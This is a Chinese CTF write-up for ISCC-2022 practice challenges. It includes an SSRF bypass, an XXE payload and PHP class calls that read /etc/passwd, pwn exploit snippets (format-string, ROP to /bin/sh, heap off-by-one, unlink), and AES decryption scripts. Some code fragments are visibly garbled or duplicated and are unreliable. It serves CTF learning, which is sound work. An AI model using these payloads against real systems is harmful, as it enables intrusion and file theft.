ISCC-2022 练武题部分wp
字数 1221 2025-08-06 23:10:31
ISCC-2022 练武题解析与教学文档
0x01 Web 部分
Web3 爱国敬业好青年-2
解题思路:
- 查看网页源码,关注关键点:
change返回openflag返回方法错误- 需要先提交
change,open后再获取flag
- 坐标使用北京天安门的坐标(纯猜测)
代码审计要点:
- 通过文件包含读取关键文件
- 计算PIN码实现命令执行
- 修改cookie从0到1获取参数提示
关键代码分析:
def geneSign():
if (control_key == 1):
return render_template("index.html")
else:
return "You have not access to this page!"
def check_ssrf(url):
hostname = urlparse(url).hostname
try:
if not re.match('https?w.da-fA-F]{2}))+', url):
raise BaseException("url format error")
# ... SSRF防护检查逻辑 ...
except BaseException as e:
return False, str(e)
利用方法:
- 构造127.0.0.1的base64编码:
/index?url=http://@mti3ljaumc4x - 根据提示更换cookie和路由找到登录界面
- 利用XXE漏洞:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user><name>&file;</name><password>123</password></user>
Findme
PHP原生类利用:
DirectoryIterator类:查看文件系统目录内容
$dir = new DirectoryIterator("/");
echo $dir;
SplFileObject类:提供文件操作接口
$context = new SplFileObject('/etc/passwd');
echo $context;
解题步骤:
- 使用DirectoryIterator查找flag文件
- 使用SplFileObject读取文件内容
0x02 Misc 部分
ISCC2022-星空1
解题步骤:
- 使用PS打开PSD文件,发现两个图层
- 保存为PNG格式得到顺序:13524
- 结合poem.txt,按此序列拼接行作为压缩包密码
- 解压得到对照关系表
ISCC2022-星空2
解题思路:
- 提示:"漫天的繁星也许是另一首美丽的诗!"
- 按六个符号一组分类
- 发现第三行和第四行一致,推测是字符'CC'
- 结合星空一的列表文件,字符编码最后一位对应数字
隐秘的信息
解题步骤:
- 使用题目给的base64解码
- 解密压缩包得到图片
- 使用Stegsolve发现隐写信息
- 处理隐写信息:
- 从hex转binary
- 去掉二进制前三位
套中套
解题步骤:
- 补全PNG格式并修改高度
- 使用winhex打开,发现base64编码
- 分析密码生成逻辑:
def getRandom(randomlength=4):
digits = "0123456789"
ascii_letters = "abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
str_list = [random.choice(digits + ascii_letters) for i in range(randomlength)]
return ''.join(str_list)
加密算法分析:
def encrypt(msg, pubKey):
msg_bit = msg
cipher = 0
for bit in msg_bit:
cipher += int(bit)*pubKey[i]
return bin(cipher)[2:]
解密方法:
- 乘上逆元r,将cipher转换为在q上的私钥运算
- 从最大prikey开始判断:
for i in range(len(key)-1,-1,-1):
if enc - key[i] > 0:
enc -= key[i]
flag += '1'
else:
flag += '0'
0x03 Pwn 部分
pwn1 create_id
利用方式: 格式化字符串漏洞
from pwn import *
p = remote("123.57.69.203", "5310")
addr = int(p.recv(len("0xffefb738")), 16)
payload = p32(addr) + 'aaaaa' + "%10$hhn"
p.sendline(payload)
p.interactive()
pwn2 sim_treasure
利用方式: 格式化字符串漏洞泄露libc
payload = '%35$p'
# ... 计算libc基址 ...
one = libc_base + 0x3d200
payload = fmtstr_payload(6, {0x08049A60:one})
pwn3 跳一跳
利用要点:
- scanf的for循环跳出
- 泄露libc
- 栈溢出利用
关键步骤:
# 第一次泄露canary和ebp
for i in range(216):
p.sendline(b'123')
p.send(b'0'*(0xe0-8)+p64(canary)+b'c'*8+p8(0x98))
# 第二次泄露libc
payload = b'/bin/sh\x00' + p64(pop_rdi) + p64(put_got) + p64(put_plt) + p64(main)
pwn4 Huge_Space
利用技术: House of Orange + force
# 覆盖tls控制canary
sl('\x00'*0x48 + p64(pop_rbp) + p64(0x6010c0+0x10) + p64(leave_ret))
# 构造large bin
add(0, 0x40, 'A'*0x10 + p64(0) + p64(0xd81))
pwn5 untidy_note
漏洞类型: off-by-one
# 构造堆重叠
payload = 'a'*0xf0 + p64(0x500 + 0x100 + 0x100)
add(0xf8, payload)
# 泄露libc
free(1)
free(0)
free(3)
pwn6 unlink
利用方式: 堆溢出
# 构造fake chunk
add(0, 0x40, 'a'*0x40 + p64(0) + p64(0x91) + p64(0x601018))
# 修改got表
add(1, 0x80, p64(0x6001030) + p64(0x000000000400896))
pwn7 heapheap
漏洞类型: off-by-one
# 构造堆重叠
payload = 'a'*0xf0 + p64(0x500 + 0x100 + 0x100)
add(0xf8, payload)
# 泄露libc
free(1)
free(0)
free(3)
0x04 Mobile 部分
mobile1
解题步骤:
- 还原hash加密顺序:
s = '=HlVsHP=gtzu2maJaJNX7fOc'
a = list('012345678901234567890123')
# ... 还原算法 ...
- AES解密:
cipher = AES.new(b'S0BlMjAyMiUleQ==', AES.MODE_CBC, b'SSZWMjAyMioqKg==')
plaintext = cipher.decrypt(base64.b64decode("QeCMiDUoS/PkX6a0ISs/cUeBsCz6/4V/tefaYnECMBI="))
mobile3
解题步骤:
- 动态调试获取AES密钥
- 逆向so中的getstr函数(栅栏加密)
- 密文分组排列组合(共24种可能)
- AES解密脚本:
def jie(a,e):
for i in range(1,6):
for j in range(1,6):
# ... 排列组合尝试 ...
cipher = AES.new(b'QERAPG9dPyZfTC5f', AES.MODE_CBC, b'aUBTJjg4Q2NDLg==')
plaintext = cipher.decrypt(base64.b64decode(d))
# ... 验证解密结果 ...